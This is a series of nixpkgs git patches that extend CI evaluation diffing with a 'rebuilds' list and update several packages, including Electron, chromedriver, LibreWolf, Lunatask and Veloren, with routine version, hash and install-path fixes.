diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index 46507a492a59..5807f8ef52f7 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -73,12 +73,11 @@ let
     ;
 
   # Attrs
-  # - keys: "added", "changed" and "removed"
+  # - keys: "added", "changed", "removed" and "rebuilds"
   # - values: lists of `packagePlatformPath`s
   diffAttrs = builtins.fromJSON (builtins.readFile "${combinedDir}/combined-diff.json");
 
-  rebuilds = diffAttrs.added ++ diffAttrs.changed;
-  rebuildsPackagePlatformAttrs = convertToPackagePlatformAttrs rebuilds;
+  rebuildsPackagePlatformAttrs = convertToPackagePlatformAttrs diffAttrs.rebuilds;
 
   changed-paths =
     let
@@ -90,7 +89,7 @@ let
     in
     writeText "changed-paths.json" (
       builtins.toJSON {
-        attrdiff = lib.mapAttrs (_: extractPackageNames) diffAttrs;
+        attrdiff = lib.mapAttrs (_: extractPackageNames) { inherit (diffAttrs) added changed removed; };
         inherit
           rebuildsByPlatform
           rebuildsByKernel
diff --git a/ci/eval/default.nix b/ci/eval/default.nix
index 56e07f8da670..21285757a277 100644
--- a/ci/eval/default.nix
+++ b/ci/eval/default.nix
@@ -218,7 +218,8 @@ let
           reduce .[] as $item ({}; {
             added: (.added + $item.added),
             changed: (.changed + $item.changed),
-            removed: (.removed + $item.removed)
+            removed: (.removed + $item.removed),
+            rebuilds: (.rebuilds + $item.rebuilds)
           })
         ' > $out/combined-diff.json
 
diff --git a/ci/eval/diff.nix b/ci/eval/diff.nix
index 629b4f8d3a6a..785b0d784308 100644
--- a/ci/eval/diff.nix
+++ b/ci/eval/diff.nix
@@ -18,13 +18,20 @@ let
       added: [ <keys only in the second object> ],
       removed: [ <keys only in the first object> ],
       changed: [ <keys with different values between the two objects> ],
+      rebuilds: [ <keys in the second object with values not present at all in first object> ],
     }
   */
   diff =
+    old: new:
     let
       filterKeys = cond: attrs: lib.attrNames (lib.filterAttrs cond attrs);
+      oldOutputs = lib.pipe old [
+        (lib.mapAttrsToList (_: lib.attrValues))
+        lib.concatLists
+        (lib.flip lib.genAttrs (_: true))
+      ];
     in
-    old: new: {
+    {
       added = filterKeys (n: _: !(old ? ${n})) new;
       removed = filterKeys (n: _: !(new ? ${n})) old;
       changed = filterKeys (
@@ -35,6 +42,16 @@ let
         # Filter out attributes that are the same as the new value
         && (v != (new.${n}))
       ) old;
+      # A "rebuild" is every attrpath ...
+      rebuilds = filterKeys (
+        _: pkg:
+        # ... that has at least one output ...
+        lib.any (
+          output:
+          # ... which has not been built in "old" already.
+          !(oldOutputs ? ${output})
+        ) (lib.attrValues pkg)
+      ) new;
     };
 
   getAttrs =

From d40ee9c760a26e8427b49d1d0e07401c94e31428 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Tue, 5 Aug 2025 17:42:42 -0700
Subject: [PATCH 3263/4511] nvidia-container-toolkit: add meta.mainProgram

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 093d9ba28cdcde43d760df1d5e8ea581f5e64a08)
---
 pkgs/by-name/nv/nvidia-container-toolkit/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
index 2744d45e4490..8cda7ad2a52f 100644
--- a/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
+++ b/pkgs/by-name/nv/nvidia-container-toolkit/package.nix
@@ -124,6 +124,7 @@ buildGoModule rec {
   meta = with lib; {
     homepage = "https://gitlab.com/nvidia/container-toolkit/container-toolkit";
     description = "NVIDIA Container Toolkit";
+    mainProgram = "nvidia-ctk";
     license = licenses.asl20;
     platforms = platforms.linux;
     maintainers = with maintainers; [

From c0396c00111ac483d7e8e57fae9eb77ca4f8f7d4 Mon Sep 17 00:00:00 2001
From: qbisi <qbisicwate@gmail.com>
Date: Thu, 31 Jul 2025 05:26:26 +0800
Subject: [PATCH 3264/4511] cudaPackages.cuda_cudart: move *.pc file to
 lib/pkgconfig

(cherry picked from commit 52fb9ff20eecd6a39358338979120aa627d24df8)
---
 pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix b/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
index 18d51bd2774d..d95b014cdca6 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/cuda_cudart.nix
@@ -29,6 +29,7 @@ prevAttrs: {
     '';
 
   postFixup = prevAttrs.postFixup or "" + ''
+    mv "''${!outputDev}/share" "''${!outputDev}/lib"
     moveToOutput lib/stubs "$stubs"
     ln -s "$stubs"/lib/stubs/* "$stubs"/lib/
     ln -s "$stubs"/lib/stubs "''${!outputLib}/lib/stubs"

From 0de18272769a3d81c92ecc8e2fd757f3db6e28b8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 5 Aug 2025 19:09:23 +0000
Subject: [PATCH 3265/4511] lunatask: 2.1.3 -> 2.1.5

(cherry picked from commit 93a72b31a24253b2a2615038a183ee0c2a82acdb)
---
 pkgs/by-name/lu/lunatask/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lu/lunatask/package.nix b/pkgs/by-name/lu/lunatask/package.nix
index 9b10af3ab239..364250a0e5ac 100644
--- a/pkgs/by-name/lu/lunatask/package.nix
+++ b/pkgs/by-name/lu/lunatask/package.nix
@@ -6,12 +6,12 @@
 }:
 
 let
-  version = "2.1.3";
+  version = "2.1.5";
   pname = "lunatask";
 
   src = fetchurl {
     url = "https://github.com/lunatask/lunatask/releases/download/v${version}/Lunatask-${version}.AppImage";
-    hash = "sha256-kVNuCtUyY8UkalXlIpfenjB4JApDZVabawLOhFxToyY=";
+    hash = "sha256-kuf3NE7or7zCcefShhKzVoCX7WsnHwtleZRafKYhWrM=";
   };
 
   appimageContents = appimageTools.extract {

From b6f6f60b957e397b8cebc20c813e6b4bf4b7e404 Mon Sep 17 00:00:00 2001
From: Dominic <email@dwrege.de>
Date: Wed, 6 Aug 2025 18:13:08 +0200
Subject: [PATCH 3266/4511] librewolf-unwrapped: 141.0-1 -> 141.0.2-1

(cherry picked from commit 7d0f80c216b788bcbb7fee206296d7d75fee2c62)
---
 .../networking/browsers/librewolf/src.json             | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/networking/browsers/librewolf/src.json b/pkgs/applications/networking/browsers/librewolf/src.json
index 0bf3592670b1..97ba907c5420 100644
--- a/pkgs/applications/networking/browsers/librewolf/src.json
+++ b/pkgs/applications/networking/browsers/librewolf/src.json
@@ -1,11 +1,11 @@
 {
-  "packageVersion": "141.0-1",
+  "packageVersion": "141.0.2-1",
   "source": {
-    "rev": "141.0-1",
-    "hash": "sha256-sgs/96soNX6kHWzXSZW0Hkh5lBoMffRMhlOa3BJoY6I="
+    "rev": "141.0.2-1",
+    "hash": "sha256-M4RQcpIk4jjcSUFwMI5fPi7frMOEM4+FSpbqNiXxOVc="
   },
   "firefox": {
-    "version": "141.0",
-    "hash": "sha512-vWmYvOknxbXBhlN71BR1/J44CYKc6tsid7s4LQLTeA0qXldJSHVnp1t8njcm+XZixOwokkvEkcWj8h4uxIKNYw=="
+    "version": "141.0.2",
+    "hash": "sha512-bRVSvGTZFeeEpdVgyLs1pTCPNevNJVKwJ/gPlQx/DGJ8ykaweWz24X2PUMgub3Cj7BFHHODgWHlPUAt7FeF7Qw=="
   }
 }

From 5ea5c21d18409fda4d307f2272255fbfbc577343 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Wed, 6 Aug 2025 07:48:04 +0200
Subject: [PATCH 3267/4511] veloren: fixup

- Fix broken install command (metainfo and pixmaps being files)
  See https://github.com/NixOS/nixpkgs/issues/431034#issuecomment-3153830470

- Remove leftover env variable from testing

(cherry picked from commit fc401b784b19a0bb5c29b3ac231139dff467c8b0)
---
 pkgs/by-name/ve/veloren/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ve/veloren/package.nix b/pkgs/by-name/ve/veloren/package.nix
index b0e59713be0b..cd68a5dc95cc 100644
--- a/pkgs/by-name/ve/veloren/package.nix
+++ b/pkgs/by-name/ve/veloren/package.nix
@@ -61,7 +61,6 @@ rustPlatform.buildRustPackage {
   env = {
     # Enable unstable features, see https://gitlab.com/veloren/veloren/-/issues/264
     RUSTC_BOOTSTRAP = true;
-    RUSTC_BREAK_ON_ICE = true;
 
     # Set version info, required by veloren-common
     NIX_GIT_TAG = "v${version}";
@@ -94,8 +93,8 @@ rustPlatform.buildRustPackage {
   postInstall = ''
     # Icons
     install -Dm644 assets/voxygen/net.veloren.veloren.desktop -t "$out/share/applications"
-    install -Dm644 assets/voxygen/net.veloren.veloren.png "$out/share/pixmaps"
-    install -Dm644 assets/voxygen/net.veloren.veloren.metainfo.xml "$out/share/metainfo"
+    install -Dm644 assets/voxygen/net.veloren.veloren.png -t "$out/share/pixmaps"
+    install -Dm644 assets/voxygen/net.veloren.veloren.metainfo.xml -t "$out/share/metainfo"
     # Assets directory
     mkdir -p "$out/share/veloren"; cp -ar assets "$out/share/veloren/"
   '';

From f9f555c950ff7edd9e96d9aa5e028fa5c04f56bd Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 4 Aug 2025 15:37:39 +0200
Subject: [PATCH 3268/4511] electron_37-bin: 37.2.4 -> 37.2.5

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.4...v37.2.5

(cherry picked from commit 623ef43439ac425d0763906d19986e3a714134ac)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 6b255f7c39f6..4501dbd7c0e7 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "9afb0df95873270ab62865302cdae252dcdb1c4d785735c17361885c5ca3189f",
-            "aarch64-linux": "02f6949eed7785a1c11a5f262ad134e670d1f1843094368c47bef63fbca155f0",
-            "armv7l-linux": "1ba4946795e04d977be565a45eea990fc6c7ff4cfedd36291a43ff2185dba919",
-            "headers": "1rzvgfkaj2j9vb6x6x2405markb722vvvzkyb3p9mw8wlf8axliy",
-            "x86_64-darwin": "d0382b5f309ca5693c84d0870dd856b0113d504c17cbf0a2cf5718749d1e8873",
-            "x86_64-linux": "027d6ebaf5eef805d1f9158feab3fdc10912c7a420a0fe7dcd1c18f4f2b601db"
+            "aarch64-darwin": "bae1c77923a3bc7c6065535ca04e6679b7a92256182f84755216c9c495cd7ced",
+            "aarch64-linux": "d0651db80a6f7eb047b4eaed3d9b836a48f059c144fc3d86f33a5031033fe6bb",
+            "armv7l-linux": "ea8b8ec3bf23c7185ec86f0caecd5c3037bd5a4c29ed64dc361eaaad6f456c4f",
+            "headers": "10w8x8gn54ix85j7kw557s00rqpg7mdk7s60ys8nvkkx7k71z7gh",
+            "x86_64-darwin": "6652196a5e5475a51f72d892f450973a5c1742c75491979249f412e9e0cb2f1c",
+            "x86_64-linux": "8fbb9e05130bde60db97a05c07969039a83e7adb9885251f90727ad1e0684be7"
         },
-        "version": "37.2.4"
+        "version": "37.2.5"
     }
 }

From b7ae062760371ad95a277fdf0278ef466ffe36c6 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 4 Aug 2025 15:37:42 +0200
Subject: [PATCH 3269/4511] electron-chromedriver_37: 37.2.4 -> 37.2.5

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.4...v37.2.5

(cherry picked from commit 203920f3355e49a58ca0dd61d6940d77e64b89d9)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 1e9cb759bc7a..c0c12730a0e2 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "031cf7909e5a46d715382c23d2381b08ec6b56d8ed46bfb47e58d1e7acc26527",
-            "aarch64-linux": "bd66c67b9836ac1ed9d1b438ef520fd65b084b8497ce109ed84b0132cf19caf2",
-            "armv7l-linux": "43e3076bf1a88b0e8696d0b1b96b20ee5674771f5998b2b39c48222e687d8ae6",
-            "headers": "1rzvgfkaj2j9vb6x6x2405markb722vvvzkyb3p9mw8wlf8axliy",
-            "x86_64-darwin": "92bd0fc8f8385cffcc95246fc4d6cad99f4062a900b4a753732a7b8a1d458e2d",
-            "x86_64-linux": "c9475803b2d3b60a3b22dd4c9fccf083eb6aaf65c597733c3503e0ad5b93e85b"
+            "aarch64-darwin": "180636faf7b9eff3e40082da201d851a39c5d15c555c56b257e205f08a848902",
+            "aarch64-linux": "eb4185fefc1e67ed351f5e4e3937f648ab6a4fe7f8bfdce7897c4c678343050a",
+            "armv7l-linux": "835cd50630fb20bd693c829a5a0bba052b14819e980177a93d05de71c3c81182",
+            "headers": "10w8x8gn54ix85j7kw557s00rqpg7mdk7s60ys8nvkkx7k71z7gh",
+            "x86_64-darwin": "07d35252016fdada02113ea17161a975de2e8591b6024b68272b9bc0b08ce47e",
+            "x86_64-linux": "b24b57becdcf5965d6221bd9445f135f4e07133250315fb72aa2b06b0348e00b"
         },
-        "version": "37.2.4"
+        "version": "37.2.5"
     }
 }

From a953c730c08f017f6fc64f50eef7e5bf54cf92b4 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 4 Aug 2025 15:45:19 +0200
Subject: [PATCH 3270/4511] electron-source.electron_37: 37.2.4 -> 37.2.5

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.5
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.4...v37.2.5

(cherry picked from commit 9b73606271b7566f211201aee3aaa51b81d12337)
---
 pkgs/development/tools/electron/info.json | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index ad5c52749ae0..80237b54dd21 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.7.3"
     },
     "37": {
-        "chrome": "138.0.7204.157",
+        "chrome": "138.0.7204.168",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2644,15 +2644,15 @@
                     "version": "2025-05-21"
                 }
             },
-            "version": "138.0.7204.157"
+            "version": "138.0.7204.168"
         },
         "chromium_npm_hash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-Eu+HNXJK6lrtIUk6pQf4DVamnfU+7iNLEZR5UiKNMoA=",
+                    "hash": "sha256-mQvwY05iCLfwJxIQAL20PZ0k67Z7prxyIedQujtdHxw=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "138.0.7204.157",
+                    "tag": "138.0.7204.168",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2691,10 +2691,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-v5OjpwwK89dyhbuZ0RC3aj76cfOcklGgs6cv6QSwxw4=",
+                    "hash": "sha256-GPUQz5Ni1FovBcHEWl1ONx2ZKFsLDweMgMxo/CjZ+zs=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v37.2.4"
+                    "tag": "v37.2.5"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2988,8 +2988,8 @@
             },
             "src/third_party/devtools-frontend/src": {
                 "args": {
-                    "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4=",
-                    "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
+                    "hash": "sha256-50KQk54JwwRS3ENUjB0QedQYFuwmkv9oxytfuNDTVPo=",
+                    "rev": "a718e86b3dc6f1ba3c8cc8092cd79b401d428cfc",
                     "url": "https://chromium.googlesource.com/devtools/devtools-frontend"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3954,8 +3954,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY=",
-                    "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
+                    "hash": "sha256-n4/Lf5ZawqUY0QHF2jYl3JPPx9Br/wzVmtqnMvq3Vzk=",
+                    "rev": "f5036f509b5e147cccb298a069c40827f3d5edd6",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3964,6 +3964,6 @@
         "electron_yarn_hash": "1lzjbq2r81hlzrhr7rxdfjq6z4h3k1106azn7mraj00d91cyp0af",
         "modules": "136",
         "node": "22.17.1",
-        "version": "37.2.4"
+        "version": "37.2.5"
     }
 }

From 828502f7e2cef25ab883cddc9bcf399097872a96 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:41:00 +0200
Subject: [PATCH 3271/4511] electron_35-bin: 35.7.2 -> 35.7.4

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.2...v35.7.4

(cherry picked from commit af4e967c375a1f7a41a78911dd18380ccaff499a)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 4501dbd7c0e7..c074ffb081ee 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "bb266a3687a82e60a97e96ef86c8e6339770d55ab18bc7db6fdf772f212b8f3a",
-            "aarch64-linux": "75f83326b0a5e0c3b04a8286b5dd1c9802d0d5d74f14ae2beba309c474ab4747",
-            "armv7l-linux": "84c8e6dfd311ce62cc9481d3e179ed05fc898c8edf02775ef1749e36b54042b1",
+            "aarch64-darwin": "61201a7d31d494a2357acea6343e8f7742903420c0f4931a2c7aad1599891931",
+            "aarch64-linux": "0aa484cb980781dabcb4c4213b6c3e609a58a42d4678ea824ad50ebdaa3c8bf6",
+            "armv7l-linux": "6f0aaab8c36e1448a02aea4a254ce70954d4da9422a867cd1d866f9db5e40754",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "63125423f0ec39dce4d116ff1b56333f24b865e179a3369eff285d42744ca16b",
-            "x86_64-linux": "3aad1702f4c542b637915cdff330281b458417ab099f90c6ef0b30b4df2451d3"
+            "x86_64-darwin": "470c370522beab8a17b22a40efa851f70da3b6ad54b9821dea7067809b7b4a81",
+            "x86_64-linux": "5ca604b180f563d3c6a2c1a9307a1282ee04fd1fdf661122cda9ebe5f09dd1c2"
         },
-        "version": "35.7.2"
+        "version": "35.7.4"
     },
     "36": {
         "hashes": {

From 470fe587cb1d9585322a09fc8522682f6e35051a Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:41:03 +0200
Subject: [PATCH 3272/4511] electron-chromedriver_35: 35.7.2 -> 35.7.4

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.2...v35.7.4

(cherry picked from commit 1e74a3dc2bbd20379c5adae5e0f50a43a12d19b2)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index c0c12730a0e2..a77fe937fe26 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "392ec250c65a1448871369318ca15f50c1de1f2afe886fc9e23b31a6484dfaf9",
-            "aarch64-linux": "7f2d0c92979972becbd437b70927c2ee3e42b4ee0dd40fa80e5bb25df2ac9969",
-            "armv7l-linux": "c6a334186af0ac33c81ac8212c99eeb5f67604d0aa84adb574cdc3fc9065a355",
+            "aarch64-darwin": "c50caedea8ad314009910835198a4956d377ab4452764d100c9bc9c523db4ea7",
+            "aarch64-linux": "40021f9f20b98af3a57b0176405de4e52059748303515adbbe91afec5423b66e",
+            "armv7l-linux": "99bc71ec4202f961e7369c57c856eb3610dbd80ae124525560714542f2c1eb5d",
             "headers": "1w8qcgsbii6gizv31i1nkbhaipcr6r1x384wkwnxp60dk9a6cl59",
-            "x86_64-darwin": "d40fdfa7b7ae6e558b036b38e3fddf090b0685e5f40d7dce335a5fa350fb8fb5",
-            "x86_64-linux": "c8bc2c6beba2654e7ec39e8b8e2e2375bbff411d8c501c933aed27af6c6c1f8b"
+            "x86_64-darwin": "a76478d64513909e85a854b05be111e814d2dcc7014b8668aadf375875eeaac0",
+            "x86_64-linux": "d580acc95ed0d125b950a0f053366b81b1a4fb941742e87021d1f837b83149a8"
         },
-        "version": "35.7.2"
+        "version": "35.7.4"
     },
     "36": {
         "hashes": {

From d04c89877e3c432dbbe93ccebf5103aab4b2bac4 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:41:13 +0200
Subject: [PATCH 3273/4511] electron_37-bin: 37.2.5 -> 37.2.6

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.6
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.5...v37.2.6

(cherry picked from commit bca09337f6f029bdfd8407d7cd4ef99843876295)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index c074ffb081ee..fc9f78ac456c 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "bae1c77923a3bc7c6065535ca04e6679b7a92256182f84755216c9c495cd7ced",
-            "aarch64-linux": "d0651db80a6f7eb047b4eaed3d9b836a48f059c144fc3d86f33a5031033fe6bb",
-            "armv7l-linux": "ea8b8ec3bf23c7185ec86f0caecd5c3037bd5a4c29ed64dc361eaaad6f456c4f",
-            "headers": "10w8x8gn54ix85j7kw557s00rqpg7mdk7s60ys8nvkkx7k71z7gh",
-            "x86_64-darwin": "6652196a5e5475a51f72d892f450973a5c1742c75491979249f412e9e0cb2f1c",
-            "x86_64-linux": "8fbb9e05130bde60db97a05c07969039a83e7adb9885251f90727ad1e0684be7"
+            "aarch64-darwin": "e3d391ba786d90a3a37182a28774b088769ee0c794d8bb8ff5a9f4cc447d23f8",
+            "aarch64-linux": "1912d1c114e2590fcae45ee8c20d79dc63bb535f46f16b8d596ccfe6e99fcd24",
+            "armv7l-linux": "276d1ce011993812afcb0018dce2a10e7b011e3a66578dec01bb2a72f3aa3b8e",
+            "headers": "1fnisy6zs2s7bmbvnvl05rg2rxcs0i50aivz8ipgr8lfhgqkg0pq",
+            "x86_64-darwin": "ffa6a3c2c56bf6cfa3339f09e90716708b9d6da5b8dfa235d6e7b0736d12dab9",
+            "x86_64-linux": "3bb2edaddcb55fb4984af319e4ded6d7a40b8da65b87935ae1348877c598ba23"
         },
-        "version": "37.2.5"
+        "version": "37.2.6"
     }
 }

From 3d5a3affabfa85e47089994952698e78002c7514 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:41:17 +0200
Subject: [PATCH 3274/4511] electron-chromedriver_37: 37.2.5 -> 37.2.6

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.6
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.5...v37.2.6

(cherry picked from commit ca9e8ed1a5069a8b0801acdd6864f6ff897cc033)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index a77fe937fe26..7b23070dc884 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -45,13 +45,13 @@
     },
     "37": {
         "hashes": {
-            "aarch64-darwin": "180636faf7b9eff3e40082da201d851a39c5d15c555c56b257e205f08a848902",
-            "aarch64-linux": "eb4185fefc1e67ed351f5e4e3937f648ab6a4fe7f8bfdce7897c4c678343050a",
-            "armv7l-linux": "835cd50630fb20bd693c829a5a0bba052b14819e980177a93d05de71c3c81182",
-            "headers": "10w8x8gn54ix85j7kw557s00rqpg7mdk7s60ys8nvkkx7k71z7gh",
-            "x86_64-darwin": "07d35252016fdada02113ea17161a975de2e8591b6024b68272b9bc0b08ce47e",
-            "x86_64-linux": "b24b57becdcf5965d6221bd9445f135f4e07133250315fb72aa2b06b0348e00b"
+            "aarch64-darwin": "184952f8898742f26f18e0735eb3fe2d3c48252d484f64d84cbc718f44065a5b",
+            "aarch64-linux": "62d15b12c2c1d8708370447a5c8ac411bc6693f081decf611628b26976a7a74f",
+            "armv7l-linux": "eaefa0e6330f2dce48ee64274bb58306ccb221175418da51fcca8cc932fb7369",
+            "headers": "1fnisy6zs2s7bmbvnvl05rg2rxcs0i50aivz8ipgr8lfhgqkg0pq",
+            "x86_64-darwin": "1c29e44ae4c67a9f9ba12b3fd761ac331ed7f295b9660134fd45032ae2e03ef9",
+            "x86_64-linux": "3b08b1cf455222f652114163c13efd3ee4092749e5a01be2faaac8a7b75cfaaa"
         },
-        "version": "37.2.5"
+        "version": "37.2.6"
     }
 }

From 8b899227c319c611863902c6d84b2bb29d34cab2 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:41:43 +0200
Subject: [PATCH 3275/4511] electron-source.electron_35: 35.7.2 -> 35.7.4

- Changelog: https://github.com/electron/electron/releases/tag/v35.7.4
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.7.2...v35.7.4

(cherry picked from commit 3f9a45927c14ad1239c7cb9e95513a736a8aef22)
---
 pkgs/development/tools/electron/info.json | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 80237b54dd21..55c54f08c4fc 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-8dTfWg8fn3KIwk88/Bm01To1G+6UQGjQ/4lMUQvl0Js=",
+                    "hash": "sha256-+YuOe+2em9eZA8uKAuVUl9YkLk7Axo2bSMdwZK9BCM0=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.7.2"
+                    "tag": "v35.7.4"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1303,10 +1303,10 @@
                 "fetcher": "fetchFromGitiles"
             }
         },
-        "electron_yarn_hash": "0knjrmn5kcr72s8zz642fyy0g1f8780v15f8pb8xbhs5bwa3c4m8",
+        "electron_yarn_hash": "0kiknh04rr87yzd5k13ghvk36kb7a4pcfwwinpqcsdvgka62kf1c",
         "modules": "133",
         "node": "22.16.0",
-        "version": "35.7.2"
+        "version": "35.7.4"
     },
     "36": {
         "chrome": "136.0.7103.177",

From d0f4243c265a50320759333e70d0c3fb4b4fc71d Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 6 Aug 2025 11:49:30 +0200
Subject: [PATCH 3276/4511] electron-source.electron_37: 37.2.5 -> 37.2.6

- Changelog: https://github.com/electron/electron/releases/tag/v37.2.6
- Diff: https://github.com/electron/electron/compare/refs/tags/v37.2.5...v37.2.6

(cherry picked from commit 9289eb7d42b4ee79bc389dbe24cc477a6c1591fc)
---
 pkgs/development/tools/electron/info.json | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 55c54f08c4fc..13aa8d2762f8 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2634,7 +2634,7 @@
         "version": "36.7.3"
     },
     "37": {
-        "chrome": "138.0.7204.168",
